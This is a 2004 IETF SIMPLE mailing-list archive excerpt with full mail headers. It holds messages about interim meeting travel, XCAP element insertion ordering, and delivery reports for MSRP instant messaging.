From: Jim Reid <jim@rfc1035.com>
Subject: [Simple] Re: [Sip] RE: [Sipping] Proposed dates for SIPish interim meetings
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 09:17:04 +0000
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60

Can this annoying chit-chat about which airlines use Denver airport be
taken somewhere else? It doesn't belong on an IETF mailing list. Thanks.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar 29 13:34:06 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16419
	for <simple-archive@odin.ietf.org>; Mon, 29 Mar 2004 13:34:06 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B81Zq-000638-9Q
	for simple-archive@odin.ietf.org; Mon, 29 Mar 2004 13:33:38 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2TIXcx4023253
	for simple-archive@odin.ietf.org; Mon, 29 Mar 2004 13:33:38 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B81Zp-00062t-P5
	for simple-web-archive@optimus.ietf.org; Mon, 29 Mar 2004 13:33:37 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16392
	for <simple-web-archive@ietf.org>; Mon, 29 Mar 2004 13:33:34 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B81Zm-0007PZ-00
	for simple-web-archive@ietf.org; Mon, 29 Mar 2004 13:33:35 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B81Yu-0007IF-00
	for simple-web-archive@ietf.org; Mon, 29 Mar 2004 13:32:40 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B81YR-0007BQ-00; Mon, 29 Mar 2004 13:32:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B81YH-0005rC-4z; Mon, 29 Mar 2004 13:32:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B62mu-0006zB-Mq
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 02:26:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA26850
	for <simple@ietf.org>; Wed, 24 Mar 2004 02:26:54 -0500 (EST)
From: john.loughney@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B62mr-0003CH-00
	for simple@ietf.org; Wed, 24 Mar 2004 02:26:53 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B62lr-000310-00
	for simple@ietf.org; Wed, 24 Mar 2004 02:25:51 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B62l2-0002pH-00; Wed, 24 Mar 2004 02:25:00 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2O7Ox402295;
	Wed, 24 Mar 2004 09:24:59 +0200 (EET)
X-Scanned: Wed, 24 Mar 2004 09:25:10 +0200 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i2O7PAcd017927;
	Wed, 24 Mar 2004 09:25:10 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks001.ntc.nokia.com 00XUaFoK; Wed, 24 Mar 2004 09:25:07 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2O7NSF26283;
	Wed, 24 Mar 2004 09:23:28 +0200 (EET)
Received: from esebe023.NOE.Nokia.com ([172.21.138.115]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 24 Mar 2004 09:23:08 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Message-ID: <DADF50F5EC506B41A0F375ABEB320636D44C93@esebe023.ntc.nokia.com>
Thread-Topic: [Sip] RE: [Sipping] Proposed dates for SIPish interim meetings
Thread-Index: AcQQN6TjZtVpGUDETLyUk9NXeQleaAABKYVwAE0BZvA=
To: <dromasca@avaya.com>, <sipping@ietf.org>
Cc: <sip@ietf.org>, <simple@ietf.org>
X-OriginalArrivalTime: 24 Mar 2004 07:23:08.0726 (UTC) FILETIME=[DB58DD60:01C41170]
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] [Sipping] Proposed dates for SIPish interim meetings
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 09:23:08 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi all,

Sorry for starting this mail thread - I suggest that we don't reply
any more with respect to flight info, etc. Direct, personal email
works best.

Anyhow, my main point was that looking at flights from Expedia gave
me a couple of choices - flights that were only two hops were much
more expensive than flights that were 3 to 4 hops.  Add to that a 45
minute drive after a 12+ hour flight, made Boulder seem suboptimal
to me.  Anyhow, I'm not a key contributor here, so maybe this is
not a critical issue. =20

John

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Mon Mar 29 13:34:10 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16436
	for <simple-archive@odin.ietf.org>; Mon, 29 Mar 2004 13:34:10 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B81Zt-00063f-QU
	for simple-archive@odin.ietf.org; Mon, 29 Mar 2004 13:33:42 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2TIXfF7023281
	for simple-archive@odin.ietf.org; Mon, 29 Mar 2004 13:33:41 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B81Zt-00063Q-Lc
	for simple-web-archive@optimus.ietf.org; Mon, 29 Mar 2004 13:33:41 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16401
	for <simple-web-archive@ietf.org>; Mon, 29 Mar 2004 13:33:36 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B81Zo-0007Pk-00
	for simple-web-archive@ietf.org; Mon, 29 Mar 2004 13:33:36 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B81Yv-0007IV-00
	for simple-web-archive@ietf.org; Mon, 29 Mar 2004 13:32:42 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B81YR-0007BR-00; Mon, 29 Mar 2004 13:32:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B81YH-0005rK-Jt; Mon, 29 Mar 2004 13:32:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B64XO-0003FD-Na
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 04:19:02 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA07594
	for <simple@ietf.org>; Wed, 24 Mar 2004 04:19:00 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B64XM-0004gE-00
	for simple@ietf.org; Wed, 24 Mar 2004 04:19:00 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B64WV-0004UJ-00
	for simple@ietf.org; Wed, 24 Mar 2004 04:18:08 -0500
Received: from gromit.rfc1035.com ([195.54.233.67])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B64Vh-0004FO-00; Wed, 24 Mar 2004 04:17:17 -0500
Received: from gromit.rfc1035.com (gromit.rfc1035.com [195.54.233.67])
	by gromit.rfc1035.com (8.12.10/8.12.10) with ESMTP id i2O9H4Rv011617;
	Wed, 24 Mar 2004 09:17:04 GMT
To: "Romascanu, Dan (Dan)" <dromasca@avaya.com>
cc: "Kozdon, Peter" <Peter.Kozdon@icn.siemens.com>, john.loughney@nokia.com,
        dean.willis@softarmor.com, sipping@ietf.org,
        gparsons@nortelnetworks.com, sip@ietf.org, simple@ietf.org
In-Reply-To: Message from "Romascanu, Dan (Dan)" <dromasca@avaya.com> 
   of "Mon, 22 Mar 2004 20:35:08 +0200." <AAB4B3D3CF0F454F98272CBE187FDE2F056B2946@is0004avexu1.global.avaya.com> 
Message-ID: <11616.1080119824@gromit.rfc1035.com>
From: Jim Reid <jim@rfc1035.com>
Subject: [Simple] Re: [Sip] RE: [Sipping] Proposed dates for SIPish interim meetings
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 09:17:04 +0000
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60

Can this annoying chit-chat about which airlines use Denver airport be
taken somewhere else? It doesn't belong on an IETF mailing list. Thanks.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:36:08 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA18500
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:36:08 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjk-0006a4-TA
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:36 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i1Q88PYg019373
	for simple-archive@odin.ietf.org; Thu, 26 Feb 2004 03:08:25 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AwGZE-00052E-ID
	for simple-web-archive@optimus.ietf.org; Thu, 26 Feb 2004 03:08:24 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA26140
	for <simple-web-archive@ietf.org>; Thu, 26 Feb 2004 03:08:20 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AwGZA-0005Xz-00
	for simple-web-archive@ietf.org; Thu, 26 Feb 2004 03:08:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AwGYH-0005Tj-00
	for simple-web-archive@ietf.org; Thu, 26 Feb 2004 03:07:26 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AwGXy-0005PT-00; Thu, 26 Feb 2004 03:07:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AwGXu-0004q4-Ef; Thu, 26 Feb 2004 03:07:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AwGXK-0004oH-HS
	for simple@optimus.ietf.org; Thu, 26 Feb 2004 03:06:26 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA26077
	for <simple@ietf.org>; Thu, 26 Feb 2004 03:06:22 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AwGXG-0005Nx-00
	for simple@ietf.org; Thu, 26 Feb 2004 03:06:22 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AwGWU-0005JU-00
	for simple@ietf.org; Thu, 26 Feb 2004 03:05:35 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AwGVZ-0005Ee-00
	for simple@ietf.org; Thu, 26 Feb 2004 03:04:37 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i1Q84VT24986;
	Thu, 26 Feb 2004 10:04:31 +0200 (EET)
X-Scanned: Thu, 26 Feb 2004 10:04:24 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i1Q84OIj008815;
	Thu, 26 Feb 2004 10:04:24 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks003.ntc.nokia.com 00OlbWgi; Thu, 26 Feb 2004 10:04:23 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i1Q84M715500;
	Thu, 26 Feb 2004 10:04:22 +0200 (EET)
Received: from mgw.research.nokia.com ([172.21.33.76]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6747);
	 Thu, 26 Feb 2004 10:04:19 +0200
Received: from xitami.research.nokia.com (xitami.research.nokia.com [172.21.40.110])
	by mgw.research.nokia.com (8.9.3/8.9.3) with ESMTP id KAA12593;
	Thu, 26 Feb 2004 10:04:30 +0200 (EET)
Subject: Re: [Simple] Update to xcap package
From: Jari Urpalainen <Jari.Urpalainen@nokia.com>
To: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: "Khartabil Hisham (Nokia-TP-MSW/Helsinki)" <hisham.khartabil@nokia.com>,
        CBoulton@ubiquity.net, simple@ietf.org
In-Reply-To: <403866E7.20409@dynamicsoft.com>
References: 
	 <2038BCC78B1AD641891A0D1AE133DBB701797787@esebe019.ntc.nokia.com>
	 <403866E7.20409@dynamicsoft.com>
Content-Type: text/plain
Message-Id: <1077782658.15072.32.camel@xitami.research.nokia.com>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 26 Feb 2004 08:04:19.0330 (UTC) FILETIME=[22C9DE20:01C3FC3F]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 26 Feb 2004 10:04:18 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

On Sun, 2004-02-22 at 10:23, ext Jonathan Rosenberg wrote:

> and I do an xcap addition operation:
> 
> PUT http://document/foo/bar[@id="3"]
> 
> <bar id="3"/>
> 
> 
> XCAP requires that the server create this element such that a GET to the 
> same URI returns the same body. However, there are three ways that the 
> server could do such an insertion and still meet that definition:
> 
> <foo>
>    <bar id="3"/>
>    <bar id="1"/>
>    <bar id="2"/>
> </foo>
> 
> OR
> 
> <foo>
>    <bar id="1"/>
>    <bar id="3"/>
>    <bar id="2"/>
> </foo>
> 
> OR
> 
> <foo>
>    <bar id="1"/>
>    <bar id="2"/>
>    <bar id="3"/>
> </foo>
> 
> 
> The current xcap-package includes a hash in the notify, to allow the 
> client to match what they did against what the server has. I believe 
> that, in this hash, ordering of elements and attributes is signficiant. 
> As a result, the hash computed by the server might not match the one 
> computed by the client, since both client and server did the insert 
> separately.
> 
> A different "diff" format can be defined which is more precise about 
> where the server did the insertion. For any element, specifying its 
> parent and previous sibling is sufficient. If we want the hash to remain 
> in the notifications, we'd need to define a format like that.
> 
> Hope this clarifies.
> 
> -Jonathan R.
> 
IMO you could simply define in the base spec that when appending
node(sets) or attributes with conditions like this, the insertion will
take place to the end of siblings. This would then behave similarly when
adding by using index-numbers (bar[3]) unless you want to enable "real"
inserts like in XUpdate http://www.xmldb.org/xupdate/. Btw. the
xml-libraries that I am aware of, behave like this anyway.

If ordered inserts are really required (which I doubt, at least
currently there seem to be no AU cases for that) one possibility could
be that you'll give additionally also the index for insertion like

PUT http://document/foo/bar[@id="3"][2]

BR,
Jari


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:36:39 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA18548
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:36:39 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjk-0006Xa-Q4
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:36 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i238208o001628
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 03:02:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyRKC-0000NI-6p
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 03:01:52 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA08690
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 03:01:07 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRJS-0007ks-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 03:01:06 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyRHr-0007Oe-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 02:59:28 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRGd-00070O-02; Wed, 03 Mar 2004 02:58:12 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyR7x-0005U0-Iq; Wed, 03 Mar 2004 02:49:13 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyR7o-00074D-Sa; Wed, 03 Mar 2004 02:49:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyR7N-00070k-1a
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 02:48:42 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA07783
	for <simple@ietf.org>; Wed, 3 Mar 2004 02:48:14 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyR6z-0004R6-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:48:13 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyR62-0004Ij-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:47:15 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyR5Z-0004B7-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:46:45 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i237kfZ03941;
	Wed, 3 Mar 2004 09:46:41 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 09:46:36 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i237kaZW014078;
	Wed, 3 Mar 2004 09:46:36 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00NLHCvT; Wed, 03 Mar 2004 09:46:34 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i237kX724206;
	Wed, 3 Mar 2004 09:46:33 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 09:46:31 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] return receipt and delivery status notification for MSRP
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB701797822@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] return receipt and delivery status notification for MSRP
Thread-Index: AcQA7cj2dw3AqBNqQs2Sdx9rr3+hRwABSzgQ
To: <rohan@cisco.com>, <aki.niemi@nokia.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 03 Mar 2004 07:46:31.0642 (UTC) FILETIME=[A4E01BA0:01C400F3]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 09:46:27 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Yes, in chunking, I think it is useful to get delivery reports of =
chunks. Not for every chunk, but for x number of them.

I disagree about your opinion on page-mode. Delivery reports are most =
appropriate in page-mode. I like to know when I send an IM that it was =
received. It is also an indication to me on WHEN it was received (in a =
store and forward mode). For Aki, he just wants to be notified when an =
error occurs.

/Hisham

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Rohan Mahy
> Sent: 03.March.2004 09:01
> To: Niemi Aki (Nokia-M/Espoo)
> Cc: simple@ietf.org; Rohan Mahy
> Subject: Re: [Simple] return receipt and delivery status notification
> for MSRP
>=20
>=20
> Hi,
>=20
> I was trying to gather reqs for MSRP.  I don't think it is=20
> appropriate=20
> to offer a full range of services for page-mode.
>=20
> Because relays can chunk and acknowledge SEND requests hop by hop, it=20
> is useful to get positive acknowledgments that you wouldn't have=20
> otherwise.  For the human typing text to a human I agree you probably=20
> don't need e2e message delivery notification, but part of my=20
> point was=20
> that there are several different applications.
>=20
> thanks,
> -rohan
>=20
>=20
> On Mar 3, 2004, at 11:27 AM, Niemi Aki (Nokia-M/Espoo) wrote:
>=20
> > Hi Rohan,
> >
> > I'm a little confused whether we're talking about MSRP or=20
> page-mode, or
> > both here.
> >
> > I definitely agree that there is a need to get both bounces=20
> back to the
> > client (e.g. when the MESSAGE receives a 202 and is stored but later
> > delivery fails, or when using a message list server, where some
> > recipients return a non 2xx response); and also=20
> read-reports for when=20
> > an
> > IM was actually rendered to a user and thus read.
> >
> > I think these features are tremendously useful for page=20
> mode, but I'm
> > not sure they're all that useful for MSRP, which is already an
> > interactive form of communication. I.e., if I don't get my message
> > across, I can send it again - this time in block letters...
> > Cheers,
> > Aki
> >
> > ext Rohan Mahy wrote:
> >> Hi,
> >> I wanted to record an observation about how optional return receipt
> >> and delivery status notification should be for MSRP. This was
> >> inspired by Eric Burger's comments at the mic about how=20
> positive and
> >> negative acknowledgments have a different character.
> >> Positive Acknowledgments: I may want to know about partial message
> >> delivery so I can interrupt and resume-in-place when transferring a
> >> large IM attachment (walk into the elevator example).
> >> I may want to know just that a complete message was delivered
> >> I may want to know that a complete message is=20
> queued/stored for user
> >> pickup
> >> I may want to know that a complete message was displayed to the
> >> target end user
> >> I may want to receive no messages at all about e2e delivery status
> >> Negative Acknowledgements I may want to know that a message was not
> >> delivered due to a relay error and why
> >> I may want to know that a message was not delivered=20
> because of a UA=20
> >> error (and why)
> >> I may not care if messages don't get delivered e2e (expecting just
> >> best effort)
> >> We should figure out a way to indicate which of these you=20
> want.  The
> >>  mail folks have dealt with very, very similar problems.
> >> Homework assignment for the working group: read and understand the=20
> >> semantics of Delivery Status Notifications (RFC 3464) and Return=20
> >> Receipts/Message Disposition Notifications (RFC 2298)
> >> thanks, -rohan
> >> _______________________________________________ Simple=20
> mailing list=20
> >> Simple@ietf.org https://www1.ietf.org/mailman/listinfo/simple
>=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:39:12 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA18693
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:39:12 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
